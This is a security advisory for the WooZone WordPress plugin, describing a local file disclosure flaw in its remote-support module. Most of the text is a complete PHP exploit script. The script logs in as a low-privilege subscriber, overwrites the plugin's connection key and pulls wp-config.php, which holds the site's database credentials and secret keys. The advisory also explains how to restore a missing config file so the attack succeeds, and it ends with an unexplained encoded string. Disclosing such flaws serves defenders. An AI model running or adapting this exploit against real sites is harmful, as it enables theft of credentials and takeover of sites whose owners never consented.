WooZone - WooCommerce Amazon Affiliates [Local File Disclosure]

This vulnerability is related to DWF-2017-87001, check WooZone - WooCommerce Amazon Affiliates [Arbitrary File Upload] for details.

Description

This vulnerability exploits the lack of security checks when performing actions through WooZoneRemoteSupportRequest AJAX action.

An attacker can then use the WooZoneRemoteSupportRequest AJAX action to set the key to whatever value he likes. But in order to do that he must be either authenticated or use an CSRF attack. Since this plugin is installed along with WooCommerce and Woo allows user registration, this attack should be applicable on all sites this plugin is installed, though it might be a little hard to create a fully automated script.

Then an attacker can use the woozone/modules/remote_support/remote_init.php file to upload a file (action open_file):

Vulnerable param is $_REQUEST['file'] which express the file name. Directory traversal is also possible using this param.

PoC

The source files were provided by Brad from a hacked website. It seems like remote_support module is missing config.php file. Without it the module won’t load and this attack will fail. The contents of config.php file should look like this:

<?php
echo json_encode(
	array(
		'remote_support' => array(
			'version' => '1.0',
			'menu' => array(
				'order' => 20,
				'show_in_menu' => true,
				'title' => 'Remote support',
				'icon' => 'images/16.png'
			),
			/*'in_dashboard' => array(
				'icon' 	=> 'images/32.png',
				'url'	=> admin_url("admin.php?page=WooZone_remote_support")
			),*/
			'help' => array(
				'type' => 'remote',
				'url' => 'http://docs.aa-team.com/woocommerce-amazon-affiliates/documentation/price_select/'
			),
			'description' => "....",
			'module_init' => 'init.php',
			'load_in' => array(
                'backend' => array(
                    'admin.php?page=WooZone_remote_support',
                    'admin-ajax.php'
                ),
                'frontend' => false
			),
			'javascript' => array(
				'admin',
				'hashchange',
				'tipsy',
				'thickbox'
			),
			'css' => array(
				'admin',
				'tipsy'
			)
		)
	)
);

Actual exploit:

#!/usr/bin/env php
<?php
/*******************************************************************************
 * WooZone - WooCommerce Amazon Affiliates [Local File Disclosure]
 *
 * Exploit Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Session;
use Wordfence\ExKit\WPAuthentication;

Config::get('url.base', null, true, 'Enter the site URL')
|| ExitCodes::exitWithFailedPrecondition('You must enter a valid URL');

$s = new Session();
$s->XDebugOn();

Cli::writeInfo('Authenticating...');
WPAuthentication::logInAsUserRole($s, WPAuthentication::USER_ROLE_SUBSCRIBER);

/*******************************************************************************
 * First an authenticated user will use the `WooZoneRemoteSupportRequest` to
 * update authentication key
 ******************************************************************************/

Cli::writeInfo('Updating connection key...');
$connectionKey = uniqid();
$postData = [
    'action' => 'WooZoneRemoteSupportRequest',
    'sub_actions' => 'access_details',
    'params' => 'WooZone-allow_file_remote=yes&WooZone-key=' . urlencode($connectionKey),
];

$r = $s->post(Endpoint::adminAjaxURL(), [], $postData);

$rJson = @json_decode($r->body);

if(!$r->success || !$rJson || !isset($rJson->status) || $rJson->status != 'valid'){
    ExitCodes::exitWithFailed('Failed to update connection key');
}

/*******************************************************************************
 * We updated the connection key, get wp-config file
 ******************************************************************************/
Cli::writeInfo('Getting content of `wp-config.php`...');
$identifier = uniqid();
$postData = [
    'file' => '/wp-config.php',
    'action' => 'open_file',
    'connection_key' => $connectionKey,
];

$r = $s->post(Endpoint::pluginsURL().'/woozone/modules/remote_support/remote_tunnel.php', [], $postData);

$rJson = @json_decode($r->body);

if(!$r->success || !$rJson || !isset($rJson->status) || $rJson->status != 'valid'){
    ExitCodes::exitWithFailed('Failed to get file contents');
}

Cli::writeSuccess('Sucessfuly verified exploit. File contents:');
ExitCodes::exitWithSuccess($rJson->content);

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX